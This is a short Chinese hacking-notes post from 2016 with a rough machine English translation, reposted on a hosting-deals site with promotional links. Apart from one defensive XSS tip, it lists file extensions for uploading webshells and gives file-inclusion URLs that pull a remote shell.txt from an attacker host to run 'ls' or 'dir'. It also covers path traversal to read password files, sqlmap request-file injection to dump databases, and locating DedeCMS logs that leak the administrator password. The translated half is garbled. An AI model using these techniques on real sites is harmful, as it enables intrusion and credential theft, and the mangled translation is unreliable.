2016.5.19***经验总结

PHP下防跨站用PHP自带的strip_tags()和htmlspecialchars（）可以对用户提交的

html和PHP进行转换，对UPDATE和INSERT中的变量用以上两个函数转换

如果PHP假设在win上那么就可以解析cer，asa，aspx，asax，aspx，cdx格式的文件

而在Linux，Unix上则可以解析pl，PHP3，格式的文件（pl：perl语言）

PHP2，PHP，Inc，pwml，asa，cer利用上传webshell

如果PHP使用了文件包含的方法则用 www.xxx.com/index.php?page=./admin.php就可以读取当前路径下admin.php文件的内容了，也可以用../跳转到其他目录去查看其

它文件 Linux下如果路径对则可以读出密码文件若不对可以用../不断探测Linux主机下 www.xxx.com/index.php?page=http://www.hack.com/shell.txt?shell=ls

-a 可以遍历当前目录下的所有文件，win下提交www.xxx.com/index.php?

page=http://www.hack.com/shell.txt?shell=dir 同样遍历文件

sqlmap的post注入新学到的方法：在网站中找到表单提交的地方，填写信息提交，抓

包，抓到的包存在txt文件中，运行sqlmap，sqlmap.py -r 文件路径sqlmap，sqlmap.py -r 文件路径 --current-db 读取当前数据库

织梦cms 配置文件地址 data/admin/ 下，其中的ver.txt 存放的是系统的版本时间

，系统文件时间，找到相应版本的日志文件地址。里面可以爆出管理员密码，找到后台

即可登录。

The strip_tags() and htmlspecialchars() provided by PHP can be used for cross site protection

HTML and PHP are transformed, and the variables in update and insert are transformed with the above two functions

If PHP is supposed to be on win, it can parse files in the format of CER, ASA, ASPX, asax, ASPX and CDX

On Linux and UNIX, files of PL, PHP3 and format can be parsed (pl: perl language)

Php2, PHP, Inc, pwml, ASA, CER use upload webshell

If PHP uses the method contained in the file, you can use www.xxx.com/index.php? Page =. / admin.php to read the content of the admin.php file in the current path, or you can use.. / to jump to other directories to view it

Under Linux, if the path is correct, you can read the password file. If not, you can use.. / to continuously probe the Linux host www.xxx.com/index.php? Page = http://www.hack.com/shell.txt? Shell = ls

-A can traverse all files in the current directory, and submit www.xxx.com/index.php under win?

Page = http://www.hack.com/shell.txt? Shell = dir also traverses files

SQL map post injection new learning method: find the place of form submission in the website, fill in information submission, grasp

Package. The caught package exists in the txt file. Run sqlmap, sqlmap.py-r file path sqlmap, sqlmap.py-r file path -- current DB to read the current database

Under the address data / admin / of Zhimeng CMS configuration file, ver.txt stores the version time of the system

, system file time, find the log file address of the corresponding version. You can find the administrator's password and find the backstage

To log in.

--------------------------------------------------------------
主机参考，收集国内外VPS，VPS测评，主机测评，云服务器，虚拟主机，独立服务器，国内外服务器，高性价比建站主机相关优惠信息@zhujicankao.com
详细介绍和测评国外VPS主机,云服务器,国外服务器,国外主机的相关优惠信息,商家背景,网络带宽等等,也是目前国内最好的主机云服务器VPS参考测评资讯优惠信息分享平台

这几篇文章你可能也喜欢：

• ReliableSite，美国便宜高防服务器特价优惠低至$75/月，免费20G DDOS防御，美国洛杉矶/纽约/迈阿密，AMD Ryzen 5800X/64G内存/1Gbps带宽/不限流量
• Sharktech，美国高防御大带宽不限流量服务器秋季特惠，60G防御/10Gbps带宽/不限流量，洛杉矶/拉斯维加斯/芝加哥/丹佛/阿姆斯特丹
• 衡天云，全场特价优惠低至1.6折起，香港/美国/日本云服务器仅需12元低至146/年，特价物理服务器486元，续费同价
• 华纳云，香港特价CN2云服务器特价3折低至240/年，精选CN2/站群/大带宽/高防服务，E5系列服务器搭配50M CN2专线，续费同享优惠
• PQHosting，全场VPS云服务器特价7折循环优惠低至€3.3/月，独立服务器特价8.5折，10Gbps超大带宽/不限流量，香港/日本/美国等全球超42个机房可选

本文由主机参考刊发，转载请注明：2016.5.19***经验总结 https://zhujicankao.com/12883.html